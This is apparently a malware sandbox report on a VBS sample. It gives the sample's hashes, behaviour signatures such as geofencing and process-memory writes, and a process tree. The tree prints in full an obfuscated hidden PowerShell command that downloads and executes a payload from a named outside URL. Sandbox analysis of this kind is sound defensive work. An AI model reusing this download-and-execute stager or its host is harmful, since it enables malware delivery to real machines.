Analysis

  • max time kernel
    55s
  • max time network
    50s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/05/2024, 01:58

General

  • Target
    wHEwhGFVae.vbs
  • Size 80B
  • Sample240501-cd5ayadd8y
  • SHA256 613a93c8225f0b31ccddcb482477e41dba36e8d13fcdc1dbe2d17ecc90d2ccf7
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\wHEwhGFVae.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\a.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\cmd.exe
        CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4716

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_g1jjt413.xhu.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1jjt413.xhu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/4716-0-0x0000028F65B80000-0x0000028F65BA2000-memory.dmp

        memory/4716-10-0x00007FFF27C80000-0x00007FFF28741000-memory.dmp

        memory/4716-11-0x0000028F653A0000-0x0000028F653B0000-memory.dmp

        memory/4716-12-0x0000028F653A0000-0x0000028F653B0000-memory.dmp

        memory/4716-15-0x00007FFF27C80000-0x00007FFF28741000-memory.dmp